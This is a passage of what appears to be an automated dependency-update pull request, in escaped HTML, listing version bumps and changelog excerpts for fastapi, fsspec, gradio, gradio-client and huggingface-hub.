href=\"https://github.com/chaen\"\u003e\u003ccode\u003e@​chaen\u003c/code\u003e\u003c/a\u003e.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e0.123.6\u003c/h2\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fastapi/fastapi/commit/7b0b915749582206025f306924e6a7bf86041a13\"\u003e\u003ccode\u003e7b0b915\u003c/code\u003e\u003c/a\u003e 🔖 Release version 0.124.2\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fastapi/fastapi/commit/96bdde376f900d3c32c9e57f7cc16930fb29aa5e\"\u003e\u003ccode\u003e96bdde3\u003c/code\u003e\u003c/a\u003e 📝 Update release notes\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fastapi/fastapi/commit/7ba042e069ad424a584a37f1db03887798d9af80\"\u003e\u003ccode\u003e7ba042e\u003c/code\u003e\u003c/a\u003e 🐛 Fix support for \u003ccode\u003eif TYPE_CHECKING\u003c/code\u003e,  non-evaluated stringified annotations ...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fastapi/fastapi/commit/60699f306b67dc1f4918ebea17f04d7a48cda645\"\u003e\u003ccode\u003e60699f3\u003c/code\u003e\u003c/a\u003e 🔖 Release version 0.124.1\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fastapi/fastapi/commit/ae7af59c6d5921a3c700a9595788a444975a9d8c\"\u003e\u003ccode\u003eae7af59\u003c/code\u003e\u003c/a\u003e 📝 Update release notes\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fastapi/fastapi/commit/42b250d14dd42d3c0c24dd085fa53878172a985f\"\u003e\u003ccode\u003e42b250d\u003c/code\u003e\u003c/a\u003e 🐛 Fix handling arbitrary types when using \u003ccode\u003earbitrary_types_allowed=True\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/fastapi/fastapi/issues/14\"\u003e#14\u003c/a\u003e...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fastapi/fastapi/commit/71a17b5932e38bcf798fcd05c5bb384e6d4db5bf\"\u003e\u003ccode\u003e71a17b5\u003c/code\u003e\u003c/a\u003e 📝 Update release notes\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fastapi/fastapi/commit/9475024640f2e204944c5aa2cd9c67a8826189d9\"\u003e\u003ccode\u003e9475024\u003c/code\u003e\u003c/a\u003e 📝 Add variants for code examples in \u0026quot;Advanced User Guide\u0026quot; (\u003ca href=\"https://redirect.github.com/fastapi/fastapi/issues/14413\"\u003e#14413\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fastapi/fastapi/commit/5b28a04d550d95ef0061f41f5a5dcfe36045e8c8\"\u003e\u003ccode\u003e5b28a04\u003c/code\u003e\u003c/a\u003e 📝 Update release notes\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fastapi/fastapi/commit/8cedb742cb59f72a752bb0a6b4f73c02aeb15bf6\"\u003e\u003ccode\u003e8cedb74\u003c/code\u003e\u003c/a\u003e ✅ Add test for Pydantic v2, dataclasses, UUID, and \u003ccode\u003e__annotations__\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/fastapi/fastapi/issues/14477\"\u003e#14477\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/fastapi/fastapi/compare/0.121.2...0.124.2\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `fsspec[http]` from 2025.10.0 to 2025.12.0\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fsspec/filesystem_spec/commit/f199984f418ba7bdc5f8b56787e6f572047473a8\"\u003e\u003ccode\u003ef199984\u003c/code\u003e\u003c/a\u003e changelog (\u003ca href=\"https://redirect.github.com/fsspec/filesystem_spec/issues/1955\"\u003e#1955\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fsspec/filesystem_spec/commit/cfb7a2544f4e1b0a053ff8b2a835d00ad39e66ee\"\u003e\u003ccode\u003ecfb7a25\u003c/code\u003e\u003c/a\u003e fix(async): fix _glob kwargs passing (\u003ca href=\"https://redirect.github.com/fsspec/filesystem_spec/issues/1953\"\u003e#1953\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fsspec/filesystem_spec/commit/5fe1abcdfda1c4efd3e3ca003a11013de26594ce\"\u003e\u003ccode\u003e5fe1abc\u003c/code\u003e\u003c/a\u003e Mark dir fs, async wrapper as chained (\u003ca href=\"https://redirect.github.com/fsspec/filesystem_spec/issues/1932\"\u003e#1932\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fsspec/filesystem_spec/commit/97c0a0f5938470b32c5f637ed6f736cb8fa86d8b\"\u003e\u003ccode\u003e97c0a0f\u003c/code\u003e\u003c/a\u003e fix(asyn): support sync style implementation in async _rm_file (\u003ca href=\"https://redirect.github.com/fsspec/filesystem_spec/issues/1951\"\u003e#1951\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fsspec/filesystem_spec/commit/0d9a9226e6fe466fb6e142ccc89625fbf2ef15ae\"\u003e\u003ccode\u003e0d9a922\u003c/code\u003e\u003c/a\u003e Simplify and extend fsspec.parquet for filters and multi-file (\u003ca href=\"https://redirect.github.com/fsspec/filesystem_spec/issues/1945\"\u003e#1945\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fsspec/filesystem_spec/commit/25b805d2cf8f347fe0a40dc557e908e667ab8e7a\"\u003e\u003ccode\u003e25b805d\u003c/code\u003e\u003c/a\u003e Expose connection errors in HTTPFileSystem._exists (\u003ca href=\"https://redirect.github.com/fsspec/filesystem_spec/issues/1849\"\u003e#1849\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fsspec/filesystem_spec/commit/85b632448cfc0d662e852314c509a33606328af2\"\u003e\u003ccode\u003e85b6324\u003c/code\u003e\u003c/a\u003e add .size to ArrowFile (\u003ca href=\"https://redirect.github.com/fsspec/filesystem_spec/issues/1944\"\u003e#1944\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fsspec/filesystem_spec/commit/dae0e8028776cedc9a0381f0033d870d5bde6b73\"\u003e\u003ccode\u003edae0e80\u003c/code\u003e\u003c/a\u003e Allow user override of seekable parameter in ArrowFSWrapper methods (\u003ca href=\"https://redirect.github.com/fsspec/filesystem_spec/issues/1950\"\u003e#1950\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fsspec/filesystem_spec/commit/dbc633e4df6dbb928c7bcd753b3479d6cbe5bfe1\"\u003e\u003ccode\u003edbc633e\u003c/code\u003e\u003c/a\u003e Add support for Python 3.14 and drop EOL 3.9 (\u003ca href=\"https://redirect.github.com/fsspec/filesystem_spec/issues/1946\"\u003e#1946\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fsspec/filesystem_spec/commit/04a0c60e97d48ab2d36292b9338e381c1c2965ce\"\u003e\u003ccode\u003e04a0c60\u003c/code\u003e\u003c/a\u003e Avoid warning with ruff 0.14 (\u003ca href=\"https://redirect.github.com/fsspec/filesystem_spec/issues/1942\"\u003e#1942\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/fsspec/filesystem_spec/compare/2025.10.0...2025.12.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `gradio` from 5.49.1 to 5.50.0\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/gradio-app/gradio/blob/main/CHANGELOG.md\"\u003egradio's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch1\u003egradio\u003c/h1\u003e\n\u003ch2\u003e6.1.0\u003c/h2\u003e\n\u003ch3\u003eFeatures\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/gradio-app/gradio/pull/12504\"\u003e#12504\u003c/a\u003e \u003ca href=\"https://github.com/gradio-app/gradio/commit/44764009dfebecf894298efe80366e42578ea65d\"\u003e\u003ccode\u003e4476400\u003c/code\u003e\u003c/a\u003e - Add \u003ccode\u003eplayback_position\u003c/code\u003e to gr.Audio and gr.Video, which can be updated and read.  Thanks \u003ca href=\"https://github.com/aliabid94\"\u003e\u003ccode\u003e@​aliabid94\u003c/code\u003e\u003c/a\u003e!\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/gradio-app/gradio/pull/12524\"\u003e#12524\u003c/a\u003e \u003ca href=\"https://github.com/gradio-app/gradio/commit/d6be33e9f019979953991283edd6ddfa00b2207c\"\u003e\u003ccode\u003ed6be33e\u003c/code\u003e\u003c/a\u003e - feat: add link_target parameter to Button component.  Thanks \u003ca href=\"https://github.com/ujjwaltwri\"\u003e\u003ccode\u003e@​ujjwaltwri\u003c/code\u003e\u003c/a\u003e!\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/gradio-app/gradio/pull/12502\"\u003e#12502\u003c/a\u003e \u003ca href=\"https://github.com/gradio-app/gradio/commit/d3966ca9df13be7e7bd0d6eb09cf6be24206ea58\"\u003e\u003ccode\u003ed3966ca\u003c/code\u003e\u003c/a\u003e - Restore Blocks constructor args deprecated in 6.0 (theme, css, etc.).  Thanks \u003ca href=\"https://github.com/aliabid94\"\u003e\u003ccode\u003e@​aliabid94\u003c/code\u003e\u003c/a\u003e!\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eFixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/gradio-app/gradio/pull/12515\"\u003e#12515\u003c/a\u003e \u003ca href=\"https://github.com/gradio-app/gradio/commit/0892c297b35742ed5cabf64d0846fd36ae02ecea\"\u003e\u003ccode\u003e0892c29\u003c/code\u003e\u003c/a\u003e - Fix plot Rendering + visibility bug.  Thanks \u003ca href=\"https://github.com/freddyaboulton\"\u003e\u003ccode\u003e@​freddyaboulton\u003c/code\u003e\u003c/a\u003e!\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/gradio-app/gradio/pull/12493\"\u003e#12493\u003c/a\u003e \u003ca href=\"https://github.com/gradio-app/gradio/commit/8a6cff6738d09a6e708fc6351d806967fa82ca91\"\u003e\u003ccode\u003e8a6cff6\u003c/code\u003e\u003c/a\u003e - Fix bug where cancelling an events shows an error in the UI.  Thanks \u003ca href=\"https://github.com/freddyaboulton\"\u003e\u003ccode\u003e@​freddyaboulton\u003c/code\u003e\u003c/a\u003e!\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/gradio-app/gradio/pull/12518\"\u003e#12518\u003c/a\u003e \u003ca href=\"https://github.com/gradio-app/gradio/commit/e8efab2cb19860146cec7946e77b34a599ad6258\"\u003e\u003ccode\u003ee8efab2\u003c/code\u003e\u003c/a\u003e - Fix Settings.  Thanks \u003ca href=\"https://github.com/freddyaboulton\"\u003e\u003ccode\u003e@​freddyaboulton\u003c/code\u003e\u003c/a\u003e!\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/gradio-app/gradio/pull/12494\"\u003e#12494\u003c/a\u003e \u003ca href=\"https://github.com/gradio-app/gradio/commit/251add42b69b0c1f6c96559e2ecdefc40def79f4\"\u003e\u003ccode\u003e251add4\u003c/code\u003e\u003c/a\u003e - JS unit test fix.  Thanks \u003ca href=\"https://github.com/dawoodkhan82\"\u003e\u003ccode\u003e@​dawoodkhan82\u003c/code\u003e\u003c/a\u003e!\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/gradio-app/gradio/pull/12491\"\u003e#12491\u003c/a\u003e \u003ca href=\"https://github.com/gradio-app/gradio/commit/4f6327be6815fc8d574b60272b02915c75359ace\"\u003e\u003ccode\u003e4f6327b\u003c/code\u003e\u003c/a\u003e - Load visible components in 6.0.  Thanks \u003ca href=\"https://github.com/freddyaboulton\"\u003e\u003ccode\u003e@​freddyaboulton\u003c/code\u003e\u003c/a\u003e!\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/gradio-app/gradio/pull/12508\"\u003e#12508\u003c/a\u003e \u003ca href=\"https://github.com/gradio-app/gradio/commit/0715279005cbd6fea3c8081996aa5afddbd27e34\"\u003e\u003ccode\u003e0715279\u003c/code\u003e\u003c/a\u003e - Fix custom \u003ccode\u003ejs\u003c/code\u003e param.  Thanks \u003ca href=\"https://github.com/dawoodkhan82\"\u003e\u003ccode\u003e@​dawoodkhan82\u003c/code\u003e\u003c/a\u003e!\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/gradio-app/gradio/pull/12531\"\u003e#12531\u003c/a\u003e \u003ca href=\"https://github.com/gradio-app/gradio/commit/8aaa209278a1898951a764812c237d1a514cc066\"\u003e\u003ccode\u003e8aaa209\u003c/code\u003e\u003c/a\u003e - Allow custom HTML components to be defined in jupyter notebooks.  Thanks \u003ca href=\"https://github.com/abidlabs\"\u003e\u003ccode\u003e@​abidlabs\u003c/code\u003e\u003c/a\u003e!\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/gradio-app/gradio/pull/12499\"\u003e#12499\u003c/a\u003e \u003ca href=\"https://github.com/gradio-app/gradio/commit/af3ffa057fe9e21e2aa658ca251b7f696b0a24ac\"\u003e\u003ccode\u003eaf3ffa0\u003c/code\u003e\u003c/a\u003e - Fix: avoid corrupting JSON-like values in CSV sanitization.  Thanks \u003ca href=\"https://github.com/ujjwaltwri\"\u003e\u003ccode\u003e@​ujjwaltwri\u003c/code\u003e\u003c/a\u003e!\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/gradio-app/gradio/pull/12516\"\u003e#12516\u003c/a\u003e \u003ca href=\"https://github.com/gradio-app/gradio/commit/23c9bb5d46909a07b4ff639655b59b4a979a0c06\"\u003e\u003ccode\u003e23c9bb5\u003c/code\u003e\u003c/a\u003e - Fix copy button in \u003ccode\u003egr.Textbox\u003c/code\u003e.  Thanks \u003ca href=\"https://github.com/dawoodkhan82\"\u003e\u003ccode\u003e@​dawoodkhan82\u003c/code\u003e\u003c/a\u003e!\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e6.0.2\u003c/h2\u003e\n\u003ch3\u003eFeatures\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/gradio-app/gradio/pull/12475\"\u003e#12475\u003c/a\u003e \u003ca href=\"https://github.com/gradio-app/gradio/commit/c4c36c7da3d14d60f4fd9b35bbe68d52f7b38bb9\"\u003e\u003ccode\u003ec4c36c7\u003c/code\u003e\u003c/a\u003e - Fix highlighted text in 6.0.  Thanks \u003ca href=\"https://github.com/freddyaboulton\"\u003e\u003ccode\u003e@​freddyaboulton\u003c/code\u003e\u003c/a\u003e!\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/gradio-app/gradio/pull/12476\"\u003e#12476\u003c/a\u003e \u003ca href=\"https://github.com/gradio-app/gradio/commit/4e9a330a85396659e8cf4d90f25d3dde82a685b3\"\u003e\u003ccode\u003e4e9a330\u003c/code\u003e\u003c/a\u003e - Fix slider css issue.  Thanks \u003ca href=\"https://github.com/freddyaboulton\"\u003e\u003ccode\u003e@​freddyaboulton\u003c/code\u003e\u003c/a\u003e!\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eFixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/gradio-app/gradio/pull/12480\"\u003e#12480\u003c/a\u003e \u003ca href=\"https://github.com/gradio-app/gradio/commit/b9732d10680ca66fa7b3f1e763d3cdd57b38c6ed\"\u003e\u003ccode\u003eb9732d1\u003c/code\u003e\u003c/a\u003e - [BUGFIX] Fix stream file download in gradio client.  Thanks \u003ca href=\"https://github.com/frascuchon\"\u003e\u003ccode\u003e@​frascuchon\u003c/code\u003e\u003c/a\u003e!\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/gradio-app/gradio/pull/12490\"\u003e#12490\u003c/a\u003e \u003ca href=\"https://github.com/gradio-app/gradio/commit/472e16439f2573b33d21b9635706416518405ddd\"\u003e\u003ccode\u003e472e164\u003c/code\u003e\u003c/a\u003e - Make client backwards compatible with version 5.  Thanks \u003ca href=\"https://github.com/freddyaboulton\"\u003e\u003ccode\u003e@​freddyaboulton\u003c/code\u003e\u003c/a\u003e!\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/gradio-app/gradio/pull/12489\"\u003e#12489\u003c/a\u003e \u003ca href=\"https://github.com/gradio-app/gradio/commit/2a2dd60d5aa041d82640358a5ed6ba03f1b398e2\"\u003e\u003ccode\u003e2a2dd60\u003c/code\u003e\u003c/a\u003e - 12485 fix mcp client issue.  Thanks \u003ca href=\"https://github.com/freddyaboulton\"\u003e\u003ccode\u003e@​freddyaboulton\u003c/code\u003e\u003c/a\u003e!\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/gradio-app/gradio/pull/12477\"\u003e#12477\u003c/a\u003e \u003ca href=\"https://github.com/gradio-app/gradio/commit/07fa4949fa5b806732eb429f732037615f9f546e\"\u003e\u003ccode\u003e07fa494\u003c/code\u003e\u003c/a\u003e - Checkbox Label Fix.  Thanks \u003ca href=\"https://github.com/dawoodkhan82\"\u003e\u003ccode\u003e@​dawoodkhan82\u003c/code\u003e\u003c/a\u003e!\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e6.0.1\u003c/h2\u003e\n\u003ch3\u003eFeatures\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/gradio-app/gradio/pull/12445\"\u003e#12445\u003c/a\u003e \u003ca href=\"https://github.com/gradio-app/gradio/commit/0f2fa10887b5c2f7fe4a4080e8bcf7d91669a163\"\u003e\u003ccode\u003e0f2fa10\u003c/code\u003e\u003c/a\u003e - chore(deps): ⬆️ update pillow from 11.1.0 to 12.0.  Thanks \u003ca href=\"https://github.com/onuralpszr\"\u003e\u003ccode\u003e@​onuralpszr\u003c/code\u003e\u003c/a\u003e!\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/gradio-app/gradio/pull/12446\"\u003e#12446\u003c/a\u003e \u003ca href=\"https://github.com/gradio-app/gradio/commit/96efaabb38a5b48c26011560634189388e83181a\"\u003e\u003ccode\u003e96efaab\u003c/code\u003e\u003c/a\u003e - Update gradio_client version to 2.0.0.  Thanks \u003ca href=\"https://github.com/abidlabs\"\u003e\u003ccode\u003e@​abidlabs\u003c/code\u003e\u003c/a\u003e!\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eFixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/gradio-app/gradio/pull/12460\"\u003e#12460\u003c/a\u003e \u003ca href=\"https://github.com/gradio-app/gradio/commit/f9e272dc120bb8f8f9f5fb2bd9f0a4eac0563d6e\"\u003e\u003ccode\u003ef9e272d\u003c/code\u003e\u003c/a\u003e - Fix bug where close method does not kill the thread.  Thanks \u003ca href=\"https://github.com/freddyaboulton\"\u003e\u003ccode\u003e@​freddyaboulton\u003c/code\u003e\u003c/a\u003e!\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/gradio-app/gradio/pull/12416\"\u003e#12416\u003c/a\u003e \u003ca href=\"https://github.com/gradio-app/gradio/commit/7e867fde9070849fb474a08544c72f2522a9cbe9\"\u003e\u003ccode\u003e7e867fd\u003c/code\u003e\u003c/a\u003e - Fix custom components for gradio 6.  Thanks \u003ca href=\"https://github.com/pngwn\"\u003e\u003ccode\u003e@​pngwn\u003c/code\u003e\u003c/a\u003e!\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/gradio-app/gradio/pull/12461\"\u003e#12461\u003c/a\u003e \u003ca href=\"https://github.com/gradio-app/gradio/commit/9a86e8064787029bc20b086c6f3191879f786e0f\"\u003e\u003ccode\u003e9a86e80\u003c/code\u003e\u003c/a\u003e - Fix Login Gradio 6.  Thanks \u003ca href=\"https://github.com/freddyaboulton\"\u003e\u003ccode\u003e@​freddyaboulton\u003c/code\u003e\u003c/a\u003e!\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/gradio-app/gradio/pull/12473\"\u003e#12473\u003c/a\u003e \u003ca href=\"https://github.com/gradio-app/gradio/commit/f42628d35c5597d83c57980d559f1daf7805b153\"\u003e\u003ccode\u003ef42628d\u003c/code\u003e\u003c/a\u003e - Allow new custom components to use Gradio 6.  Thanks \u003ca href=\"https://github.com/freddyaboulton\"\u003e\u003ccode\u003e@​freddyaboulton\u003c/code\u003e\u003c/a\u003e!\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/gradio-app/gradio/commits\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `gradio-client` from 1.13.3 to 1.14.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/gradio-app/gradio/releases\"\u003egradio-client's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e\u003ccode\u003e@​gradio/model3d\u003c/code\u003e\u003ca href=\"https://github.com/0\"\u003e\u003ccode\u003e@​0\u003c/code\u003e\u003c/a\u003e.15.1\u003c/h2\u003e\n\u003ch3\u003eFeatures\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/gradio-app/gradio/pull/11908\"\u003e#11908\u003c/a\u003e \u003ca href=\"https://github.com/gradio-app/gradio/commit/029034f7853ea018d110efe9b7e2ef7d1407091c\"\u003e\u003ccode\u003e029034f\u003c/code\u003e\u003c/a\u003e - Clear Error statuses\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/gradio-app/gradio/pull/12438\"\u003e#12438\u003c/a\u003e \u003ca href=\"https://github.com/gradio-app/gradio/commit/25ffc0398f8feb43d817c02b2ab970c16de6d797\"\u003e\u003ccode\u003e25ffc03\u003c/code\u003e\u003c/a\u003e - Svelte5 migration and bugfix\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eDependencies\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003e@​gradio/atoms\u003c/code\u003e\u003ca href=\"https://github.com/0\"\u003e\u003ccode\u003e@​0\u003c/code\u003e\u003c/a\u003e.19.0\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003e@​gradio/client\u003c/code\u003e\u003ca href=\"https://github.com/2\"\u003e\u003ccode\u003e@​2\u003c/code\u003e\u003c/a\u003e.0.0\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003e@​gradio/icons\u003c/code\u003e\u003ca href=\"https://github.com/0\"\u003e\u003ccode\u003e@​0\u003c/code\u003e\u003c/a\u003e.15.0\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003e@​gradio/statustracker\u003c/code\u003e\u003ca href=\"https://github.com/0\"\u003e\u003ccode\u003e@​0\u003c/code\u003e\u003c/a\u003e.12.0\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003e@​gradio/upload\u003c/code\u003e\u003ca href=\"https://github.com/0\"\u003e\u003ccode\u003e@​0\u003c/code\u003e\u003c/a\u003e.17.2\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003e@​gradio/utils\u003c/code\u003e\u003ca href=\"https://github.com/0\"\u003e\u003ccode\u003e@​0\u003c/code\u003e\u003c/a\u003e.10.3\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/gradio-app/gradio/commits/@gradio/client@1.14.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `huggingface-hub` from 1.1.4 to 1.2.2\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/huggingface/huggingface_hub/releases\"\u003ehuggingface-hub's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e[v1.2.2] Fix unbound local error in local folder metadata + fix \u003ccode\u003ehf auth list\u003c/code\u003e logs\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFix unbound local error when reading corrupted metadata files by \u003ca href=\"https://github.com/Wauplin\"\u003e\u003ccode\u003e@​Wauplin\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/huggingface/huggingface_hub/issues/3610\"\u003e#3610\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eFix auth_list not showing HF_TOKEN message when no stored tokens exist by \u003ca href=\"https://github.com/hanouticelina\"\u003e\u003ccode\u003e@​hanouticelina\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/huggingface/huggingface_hub/issues/3608\"\u003e#3608\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/huggingface/huggingface_hub/compare/v1.2.1...v1.2.2\"\u003ehttps://github.com/huggingface/huggingface_hub/compare/v1.2.1...v1.2.2\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003ev1.2.1: Smarter Rate Limit Handling, Daily Papers API and more QoL improvements!\u003c/h2\u003e\n\u003ch2\u003e🚦 Smarter Rate Limit Handling\u003c/h2\u003e\n\u003cp\u003eWe've improved how the \u003ccode\u003ehuggingface_hub\u003c/code\u003e library handles rate limits from the Hub. When you hit a rate limit, you'll now see clear, actionable error messages telling you exactly how long to wait and how many requests you have left.\u003c/p\u003e\n\u003cpre lang=\"console\"\u003e\u003ccode\u003eHfHubHTTPError: 429 Too Many Requests for url: https://huggingface.co/api/models/username/reponame.\nRetry after 55 seconds (0/2500 requests remaining in current 300s window).\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eWhen a 429 error occurs, the SDK automatically parses the \u003ccode\u003eRateLimit\u003c/code\u003e header to extract the exact number of seconds until the rate limit resets, then waits precisely that duration before retrying. This applies to file downloads (i.e. Resolvers), uploads, and paginated Hub API calls (\u003ccode\u003elist_models\u003c/code\u003e, \u003ccode\u003elist_datasets\u003c/code\u003e, \u003ccode\u003elist_spaces\u003c/code\u003e, etc.).\u003c/p\u003e\n\u003cp\u003eMore info about Hub rate limits in the docs 👉 \u003ca href=\"https://huggingface.co/docs/hub/rate-limits#hub-rate-limits\"\u003ehere\u003c/a\u003e.\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cul\u003e\n\u003cli\u003eParse rate limit headers for better 429 error messages by \u003ca href=\"https://github.com/hanouticelina\"\u003e\u003ccode\u003e@​hanouticelina\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/huggingface/huggingface_hub/issues/3570\"\u003e#3570\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eUse rate limit headers for smarter retry in http backoff by \u003ca href=\"https://github.com/hanouticelina\"\u003e\u003ccode\u003e@​hanouticelina\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/huggingface/huggingface_hub/issues/3577\"\u003e#3577\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eHarmonize retry behavior for metadata fetch and \u003ccode\u003eHfFileSystem\u003c/code\u003e by \u003ca href=\"https://github.com/hanouticelina\"\u003e\u003ccode\u003e@​hanouticelina\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/huggingface/huggingface_hub/issues/3583\"\u003e#3583\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eAdd retry for preupload endpoint by \u003ca href=\"https://github.com/hanouticelina\"\u003e\u003ccode\u003e@​hanouticelina\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/huggingface/huggingface_hub/issues/3588\"\u003e#3588\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eUse default retry values in pagination by \u003ca 